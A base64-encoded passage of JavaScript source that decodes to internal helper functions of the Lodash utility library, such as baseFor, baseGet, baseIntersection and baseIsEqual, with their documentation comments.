CAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBhcnJheVB1c2gocmVzdWx0LCB2YWx1ZSk7XG4gICAgICAgICAgfVxuICAgICAgICB9IGVsc2UgaWYgKCFpc1N0cmljdCkge1xuICAgICAgICAgIHJlc3VsdFtyZXN1bHQubGVuZ3RoXSA9IHZhbHVlO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4gcmVzdWx0O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBiYXNlRm9yT3duYCB3aGljaCBpdGVyYXRlcyBvdmVyIGBvYmplY3RgXG4gICAgICogcHJvcGVydGllcyByZXR1cm5lZCBieSBga2V5c0Z1bmNgIGFuZCBpbnZva2VzIGBpdGVyYXRlZWAgZm9yIGVhY2ggcHJvcGVydHkuXG4gICAgICogSXRlcmF0ZWUgZnVuY3Rpb25zIG1heSBleGl0IGl0ZXJhdGlvbiBlYXJseSBieSBleHBsaWNpdGx5IHJldHVybmluZyBgZmFsc2VgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gaXRlcmF0ZSBvdmVyLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGl0ZXJhdGVlIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0ga2V5c0Z1bmMgVGhlIGZ1bmN0aW9uIHRvIGdldCB0aGUga2V5cyBvZiBgb2JqZWN0YC5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIGBvYmplY3RgLlxuICAgICAqL1xuICAgIHZhciBiYXNlRm9yID0gY3JlYXRlQmFzZUZvcigpO1xuXG4gICAgLyoqXG4gICAgICogVGhpcyBmdW5jdGlvbiBpcyBsaWtlIGBiYXNlRm9yYCBleGNlcHQgdGhhdCBpdCBpdGVyYXRlcyBvdmVyIHByb3BlcnRpZXNcbiAgICAgKiBpbiB0aGUgb3Bwb3NpdGUgb3JkZXIuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gaXRlcmF0ZWUgVGhlIGZ1bmN0aW9uIGludm9rZWQgcGVyIGl0ZXJhdGlvbi5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBrZXlzRnVuYyBUaGUgZnVuY3Rpb24gdG8gZ2V0IHRoZSBrZXlzIG9mIGBvYmplY3RgLlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgYG9iamVjdGAuXG4gICAgICovXG4gICAgdmFyIGJhc2VGb3JSaWdodCA9IGNyZWF0ZUJhc2VGb3IodHJ1ZSk7XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5mb3JPd25gIHdpdGhvdXQgc3VwcG9ydCBmb3IgaXRlcmF0ZWUgc2hvcnRoYW5kcy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBpdGVyYXRlZSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgYG9iamVjdGAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUZvck93bihvYmplY3QsIGl0ZXJhdGVlKSB7XG4gICAgICByZXR1cm4gb2JqZWN0ICYmIGJhc2VGb3Iob2JqZWN0LCBpdGVyYXRlZSwga2V5cyk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8uZm9yT3duUmlnaHRgIHdpdGhvdXQgc3VwcG9ydCBmb3IgaXRlcmF0ZWUgc2hvcnRoYW5kcy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBpdGVyYXRlZSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgYG9iamVjdGAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUZvck93blJpZ2h0KG9iamVjdCwgaXRlcmF0ZWUpIHtcbiAgICAgIHJldHVybiBvYmplY3QgJiYgYmFzZUZvclJpZ2h0KG9iamVjdCwgaXRlcmF0ZWUsIGtleXMpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmZ1bmN0aW9uc2Agd2hpY2ggY3JlYXRlcyBhbiBhcnJheSBvZlxuICAgICAqIGBvYmplY3RgIGZ1bmN0aW9uIHByb3BlcnR5IG5hbWVzIGZpbHRlcmVkIGZyb20gYHByb3BzYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHtBcnJheX0gcHJvcHMgVGhlIHByb3BlcnR5IG5hbWVzIHRvIGZpbHRlci5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIGZ1bmN0aW9uIG5hbWVzLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VGdW5jdGlvbnMob2JqZWN0LCBwcm9wcykge1xuICAgICAgcmV0dXJuIGFycmF5RmlsdGVyKHByb3BzLCBmdW5jdGlvbihrZXkpIHtcbiAgICAgICAgcmV0dXJuIGlzRnVuY3Rpb24ob2JqZWN0W2tleV0pO1xuICAgICAgfSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8uZ2V0YCB3aXRob3V0IHN1cHBvcnQgZm9yIGRlZmF1bHQgdmFsdWVzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gcXVlcnkuXG4gICAgICogQHBhcmFtIHtBcnJheXxzdHJpbmd9IHBhdGggVGhlIHBhdGggb2YgdGhlIHByb3BlcnR5IHRvIGdldC5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgcmVzb2x2ZWQgdmFsdWUuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUdldChvYmplY3QsIHBhdGgpIHtcbiAgICAgIHBhdGggPSBjYXN0UGF0aChwYXRoLCBvYmplY3QpO1xuXG4gICAgICB2YXIgaW5kZXggPSAwLFxuICAgICAgICAgIGxlbmd0aCA9IHBhdGgubGVuZ3RoO1xuXG4gICAgICB3aGlsZSAob2JqZWN0ICE9IG51bGwgJiYgaW5kZXggPCBsZW5ndGgpIHtcbiAgICAgICAgb2JqZWN0ID0gb2JqZWN0W3RvS2V5KHBhdGhbaW5kZXgrK10pXTtcbiAgICAgIH1cbiAgICAgIHJldHVybiAoaW5kZXggJiYgaW5kZXggPT0gbGVuZ3RoKSA/IG9iamVjdCA6IHVuZGVmaW5lZDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgZ2V0QWxsS2V5c2AgYW5kIGBnZXRBbGxLZXlzSW5gIHdoaWNoIHVzZXNcbiAgICAgKiBga2V5c0Z1bmNgIGFuZCBgc3ltYm9sc0Z1bmNgIHRvIGdldCB0aGUgZW51bWVyYWJsZSBwcm9wZXJ0eSBuYW1lcyBhbmRcbiAgICAgKiBzeW1ib2xzIG9mIGBvYmplY3RgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gcXVlcnkuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0ga2V5c0Z1bmMgVGhlIGZ1bmN0aW9uIHRvIGdldCB0aGUga2V5cyBvZiBgb2JqZWN0YC5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBzeW1ib2xzRnVuYyBUaGUgZnVuY3Rpb24gdG8gZ2V0IHRoZSBzeW1ib2xzIG9mIGBvYmplY3RgLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgYXJyYXkgb2YgcHJvcGVydHkgbmFtZXMgYW5kIHN5bWJvbHMuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUdldEFsbEtleXMob2JqZWN0LCBrZXlzRnVuYywgc3ltYm9sc0Z1bmMpIHtcbiAgICAgIHZhciByZXN1bHQgPSBrZXlzRnVuYyhvYmplY3QpO1xuICAgICAgcmV0dXJuIGlzQXJyYXkob2JqZWN0KSA/IHJlc3VsdCA6IGFycmF5UHVzaChyZXN1bHQsIHN5bWJvbHNGdW5jKG9iamVjdCkpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBnZXRUYWdgIHdpdGhvdXQgZmFsbGJhY2tzIGZvciBidWdneSBlbnZpcm9ubWVudHMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIHF1ZXJ5LlxuICAgICAqIEByZXR1cm5zIHtzdHJpbmd9IFJldHVybnMgdGhlIGB0b1N0cmluZ1RhZ2AuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUdldFRhZyh2YWx1ZSkge1xuICAgICAgaWYgKHZhbHVlID09IG51bGwpIHtcbiAgICAgICAgcmV0dXJuIHZhbHVlID09PSB1bmRlZmluZWQgPyB1bmRlZmluZWRUYWcgOiBudWxsVGFnO1xuICAgICAgfVxuICAgICAgcmV0dXJuIChzeW1Ub1N0cmluZ1RhZyAmJiBzeW1Ub1N0cmluZ1RhZyBpbiBPYmplY3QodmFsdWUpKVxuICAgICAgICA/IGdldFJhd1RhZyh2YWx1ZSlcbiAgICAgICAgOiBvYmplY3RUb1N0cmluZyh2YWx1ZSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8uZ3RgIHdoaWNoIGRvZXNuJ3QgY29lcmNlIGFyZ3VtZW50cy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY29tcGFyZS5cbiAgICAgKiBAcGFyYW0geyp9IG90aGVyIFRoZSBvdGhlciB2YWx1ZSB0byBjb21wYXJlLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGdyZWF0ZXIgdGhhbiBgb3RoZXJgLFxuICAgICAqICBlbHNlIGBmYWxzZWAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUd0KHZhbHVlLCBvdGhlcikge1xuICAgICAgcmV0dXJuIHZhbHVlID4gb3RoZXI7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8uaGFzYCB3aXRob3V0IHN1cHBvcnQgZm9yIGRlZXAgcGF0aHMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBbb2JqZWN0XSBUaGUgb2JqZWN0IHRvIHF1ZXJ5LlxuICAgICAqIEBwYXJhbSB7QXJyYXl8c3RyaW5nfSBrZXkgVGhlIGtleSB0byBjaGVjay5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYGtleWAgZXhpc3RzLCBlbHNlIGBmYWxzZWAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUhhcyhvYmplY3QsIGtleSkge1xuICAgICAgcmV0dXJuIG9iamVjdCAhPSBudWxsICYmIGhhc093blByb3BlcnR5LmNhbGwob2JqZWN0LCBrZXkpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmhhc0luYCB3aXRob3V0IHN1cHBvcnQgZm9yIGRlZXAgcGF0aHMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBbb2JqZWN0XSBUaGUgb2JqZWN0IHRvIHF1ZXJ5LlxuICAgICAqIEBwYXJhbSB7QXJyYXl8c3RyaW5nfSBrZXkgVGhlIGtleSB0byBjaGVjay5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYGtleWAgZXhpc3RzLCBlbHNlIGBmYWxzZWAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUhhc0luKG9iamVjdCwga2V5KSB7XG4gICAgICByZXR1cm4gb2JqZWN0ICE9IG51bGwgJiYga2V5IGluIE9iamVjdChvYmplY3QpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmluUmFuZ2VgIHdoaWNoIGRvZXNuJ3QgY29lcmNlIGFyZ3VtZW50cy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IG51bWJlciBUaGUgbnVtYmVyIHRvIGNoZWNrLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBzdGFydCBUaGUgc3RhcnQgb2YgdGhlIHJhbmdlLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBlbmQgVGhlIGVuZCBvZiB0aGUgcmFuZ2UuXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGBudW1iZXJgIGlzIGluIHRoZSByYW5nZSwgZWxzZSBgZmFsc2VgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VJblJhbmdlKG51bWJlciwgc3RhcnQsIGVuZCkge1xuICAgICAgcmV0dXJuIG51bWJlciA+PSBuYXRpdmVNaW4oc3RhcnQsIGVuZCkgJiYgbnVtYmVyIDwgbmF0aXZlTWF4KHN0YXJ0LCBlbmQpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIG1ldGhvZHMgbGlrZSBgXy5pbnRlcnNlY3Rpb25gLCB3aXRob3V0IHN1cHBvcnRcbiAgICAgKiBmb3IgaXRlcmF0ZWUgc2hvcnRoYW5kcywgdGhhdCBhY2NlcHRzIGFuIGFycmF5IG9mIGFycmF5cyB0byBpbnNwZWN0LlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheXMgVGhlIGFycmF5cyB0byBpbnNwZWN0LlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtpdGVyYXRlZV0gVGhlIGl0ZXJhdGVlIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2NvbXBhcmF0b3JdIFRoZSBjb21wYXJhdG9yIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgYXJyYXkgb2Ygc2hhcmVkIHZhbHVlcy5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlSW50ZXJzZWN0aW9uKGFycmF5cywgaXRlcmF0ZWUsIGNvbXBhcmF0b3IpIHtcbiAgICAgIHZhciBpbmNsdWRlcyA9IGNvbXBhcmF0b3IgPyBhcnJheUluY2x1ZGVzV2l0aCA6IGFycmF5SW5jbHVkZXMsXG4gICAgICAgICAgbGVuZ3RoID0gYXJyYXlzWzBdLmxlbmd0aCxcbiAgICAgICAgICBvdGhMZW5ndGggPSBhcnJheXMubGVuZ3RoLFxuICAgICAgICAgIG90aEluZGV4ID0gb3RoTGVuZ3RoLFxuICAgICAgICAgIGNhY2hlcyA9IEFycmF5KG90aExlbmd0aCksXG4gICAgICAgICAgbWF4TGVuZ3RoID0gSW5maW5pdHksXG4gICAgICAgICAgcmVzdWx0ID0gW107XG5cbiAgICAgIHdoaWxlIChvdGhJbmRleC0tKSB7XG4gICAgICAgIHZhciBhcnJheSA9IGFycmF5c1tvdGhJbmRleF07XG4gICAgICAgIGlmIChvdGhJbmRleCAmJiBpdGVyYXRlZSkge1xuICAgICAgICAgIGFycmF5ID0gYXJyYXlNYXAoYXJyYXksIGJhc2VVbmFyeShpdGVyYXRlZSkpO1xuICAgICAgICB9XG4gICAgICAgIG1heExlbmd0aCA9IG5hdGl2ZU1pbihhcnJheS5sZW5ndGgsIG1heExlbmd0aCk7XG4gICAgICAgIGNhY2hlc1tvdGhJbmRleF0gPSAhY29tcGFyYXRvciAmJiAoaXRlcmF0ZWUgfHwgKGxlbmd0aCA+PSAxMjAgJiYgYXJyYXkubGVuZ3RoID49IDEyMCkpXG4gICAgICAgICAgPyBuZXcgU2V0Q2FjaGUob3RoSW5kZXggJiYgYXJyYXkpXG4gICAgICAgICAgOiB1bmRlZmluZWQ7XG4gICAgICB9XG4gICAgICBhcnJheSA9IGFycmF5c1swXTtcblxuICAgICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgICAgc2VlbiA9IGNhY2hlc1swXTtcblxuICAgICAgb3V0ZXI6XG4gICAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCAmJiByZXN1bHQubGVuZ3RoIDwgbWF4TGVuZ3RoKSB7XG4gICAgICAgIHZhciB2YWx1ZSA9IGFycmF5W2luZGV4XSxcbiAgICAgICAgICAgIGNvbXB1dGVkID0gaXRlcmF0ZWUgPyBpdGVyYXRlZSh2YWx1ZSkgOiB2YWx1ZTtcblxuICAgICAgICB2YWx1ZSA9IChjb21wYXJhdG9yIHx8IHZhbHVlICE9PSAwKSA/IHZhbHVlIDogMDtcbiAgICAgICAgaWYgKCEoc2VlblxuICAgICAgICAgICAgICA/IGNhY2hlSGFzKHNlZW4sIGNvbXB1dGVkKVxuICAgICAgICAgICAgICA6IGluY2x1ZGVzKHJlc3VsdCwgY29tcHV0ZWQsIGNvbXBhcmF0b3IpXG4gICAgICAgICAgICApKSB7XG4gICAgICAgICAgb3RoSW5kZXggPSBvdGhMZW5ndGg7XG4gICAgICAgICAgd2hpbGUgKC0tb3RoSW5kZXgpIHtcbiAgICAgICAgICAgIHZhciBjYWNoZSA9IGNhY2hlc1tvdGhJbmRleF07XG4gICAgICAgICAgICBpZiAoIShjYWNoZVxuICAgICAgICAgICAgICAgICAgPyBjYWNoZUhhcyhjYWNoZSwgY29tcHV0ZWQpXG4gICAgICAgICAgICAgICAgICA6IGluY2x1ZGVzKGFycmF5c1tvdGhJbmRleF0sIGNvbXB1dGVkLCBjb21wYXJhdG9yKSlcbiAgICAgICAgICAgICAgICApIHtcbiAgICAgICAgICAgICAgY29udGludWUgb3V0ZXI7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICAgIGlmIChzZWVuKSB7XG4gICAgICAgICAgICBzZWVuLnB1c2goY29tcHV0ZWQpO1xuICAgICAgICAgIH1cbiAgICAgICAgICByZXN1bHQucHVzaCh2YWx1ZSk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8uaW52ZXJ0YCBhbmQgYF8uaW52ZXJ0QnlgIHdoaWNoIGludmVydHNcbiAgICAgKiBgb2JqZWN0YCB3aXRoIHZhbHVlcyB0cmFuc2Zvcm1lZCBieSBgaXRlcmF0ZWVgIGFuZCBzZXQgYnkgYHNldHRlcmAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gc2V0dGVyIFRoZSBmdW5jdGlvbiB0byBzZXQgYGFjY3VtdWxhdG9yYCB2YWx1ZXMuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gaXRlcmF0ZWUgVGhlIGl0ZXJhdGVlIHRvIHRyYW5zZm9ybSB2YWx1ZXMuXG4gICAgICogQHBhcmFtIHtPYmplY3R9IGFjY3VtdWxhdG9yIFRoZSBpbml0aWFsIGludmVydGVkIG9iamVjdC5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgYGFjY3VtdWxhdG9yYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlSW52ZXJ0ZXIob2JqZWN0LCBzZXR0ZXIsIGl0ZXJhdGVlLCBhY2N1bXVsYXRvcikge1xuICAgICAgYmFzZUZvck93bihvYmplY3QsIGZ1bmN0aW9uKHZhbHVlLCBrZXksIG9iamVjdCkge1xuICAgICAgICBzZXR0ZXIoYWNjdW11bGF0b3IsIGl0ZXJhdGVlKHZhbHVlKSwga2V5LCBvYmplY3QpO1xuICAgICAgfSk7XG4gICAgICByZXR1cm4gYWNjdW11bGF0b3I7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8uaW52b2tlYCB3aXRob3V0IHN1cHBvcnQgZm9yIGluZGl2aWR1YWxcbiAgICAgKiBtZXRob2QgYXJndW1lbnRzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gcXVlcnkuXG4gICAgICogQHBhcmFtIHtBcnJheXxzdHJpbmd9IHBhdGggVGhlIHBhdGggb2YgdGhlIG1ldGhvZCB0byBpbnZva2UuXG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJncyBUaGUgYXJndW1lbnRzIHRvIGludm9rZSB0aGUgbWV0aG9kIHdpdGguXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIHJlc3VsdCBvZiB0aGUgaW52b2tlZCBtZXRob2QuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUludm9rZShvYmplY3QsIHBhdGgsIGFyZ3MpIHtcbiAgICAgIHBhdGggPSBjYXN0UGF0aChwYXRoLCBvYmplY3QpO1xuICAgICAgb2JqZWN0ID0gcGFyZW50KG9iamVjdCwgcGF0aCk7XG4gICAgICB2YXIgZnVuYyA9IG9iamVjdCA9PSBudWxsID8gb2JqZWN0IDogb2JqZWN0W3RvS2V5KGxhc3QocGF0aCkpXTtcbiAgICAgIHJldHVybiBmdW5jID09IG51bGwgPyB1bmRlZmluZWQgOiBhcHBseShmdW5jLCBvYmplY3QsIGFyZ3MpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmlzQXJndW1lbnRzYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYW4gYGFyZ3VtZW50c2Agb2JqZWN0LFxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VJc0FyZ3VtZW50cyh2YWx1ZSkge1xuICAgICAgcmV0dXJuIGlzT2JqZWN0TGlrZSh2YWx1ZSkgJiYgYmFzZUdldFRhZyh2YWx1ZSkgPT0gYXJnc1RhZztcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5pc0FycmF5QnVmZmVyYCB3aXRob3V0IE5vZGUuanMgb3B0aW1pemF0aW9ucy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYW4gYXJyYXkgYnVmZmVyLCBlbHNlIGBmYWxzZWAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUlzQXJyYXlCdWZmZXIodmFsdWUpIHtcbiAgICAgIHJldHVybiBpc09iamVjdExpa2UodmFsdWUpICYmIGJhc2VHZXRUYWcodmFsdWUpID09IGFycmF5QnVmZmVyVGFnO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmlzRGF0ZWAgd2l0aG91dCBOb2RlLmpzIG9wdGltaXphdGlvbnMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGEgZGF0ZSBvYmplY3QsIGVsc2UgYGZhbHNlYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlSXNEYXRlKHZhbHVlKSB7XG4gICAgICByZXR1cm4gaXNPYmplY3RMaWtlKHZhbHVlKSAmJiBiYXNlR2V0VGFnKHZhbHVlKSA9PSBkYXRlVGFnO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmlzRXF1YWxgIHdoaWNoIHN1cHBvcnRzIHBhcnRpYWwgY29tcGFyaXNvbnNcbiAgICAgKiBhbmQgdHJhY2tzIHRyYXZlcnNlZCBvYmplY3RzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjb21wYXJlLlxuICAgICAqIEBwYXJhbSB7Kn0gb3RoZXIgVGhlIG90aGVyIHZhbHVlIHRvIGNvbXBhcmUuXG4gICAgICogQHBhcmFtIHtib29sZWFufSBiaXRtYXNrIFRoZSBiaXRtYXNrIGZsYWdzLlxuICAgICAqICAxIC0gVW5vcmRlcmVkIGNvbXBhcmlzb25cbiAgICAgKiAgMiAtIFBhcnRpYWwgY29tcGFyaXNvblxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtjdXN0b21pemVyXSBUaGUgZnVuY3Rpb24gdG8gY3VzdG9taXplIGNvbXBhcmlzb25zLlxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBbc3RhY2tdIFRyYWNrcyB0cmF2ZXJzZWQgYHZhbHVlYCBhbmQgYG90aGVyYCBvYmplY3RzLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiB0aGUgdmFsdWVzIGFyZSBlcXVpdmFsZW50LCBlbHNlIGBmYWxzZWAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUlzRXF1YWwodmFsdWUsIG90aGVyLCBiaXRtYXNrLCBjdXN0b21pemVyLCBzdGFjaykge1xuICAgICAgaWYgKHZhbHVlID09PSBvdGhlcikge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgIH1cbiAgICAgIGlmICh2YWx1ZSA9PSBudWxsIHx8IG90aGVyID09IG51bGwgfHwgKCFpc09iamVjdExpa2UodmFsdWUpICYmICFpc09iamVjdExpa2Uob3RoZXIpKSkge1xuICAgICAgICByZXR1cm4gdmFsdWUgIT09IHZhbHVlICYmIG90aGVyICE9PSBvdGhlcjtcbiAgICAgIH1cbiAgICAgIHJldHVybiBiYXNlSXNFcXVhbERlZXAodmFsdWUsIG90aGVyLCBiaXRtYXNrLCBjdXN0b21pemVyLCBiYXNlSXNFcXVhbCwgc3RhY2spO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEEgc3BlY2lhbGl6ZWQgdmVyc2lvbiBvZiBgYmFzZUlzRXF1YWxgIGZvciBhcnJheXMgYW5kIG9iamVjdHMgd2hpY2ggcGVyZm9ybXNcbiAgICAgKiBkZWVwIGNvbXBhcmlzb25zIGFuZCB0cmFja3MgdHJhdmVyc2VkIG9iamVjdHMgZW5hYmxpbmcgb2JqZWN0cyB3aXRoIGNpcmN1bGFyXG4gICAgICogcmVmZXJlbmNlcyB0byBiZSBjb21wYXJlZC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIGNvbXBhcmUuXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG90aGVyIFRoZSBvdGhlciBvYmplY3QgdG8gY29tcGFyZS5cbiAgIC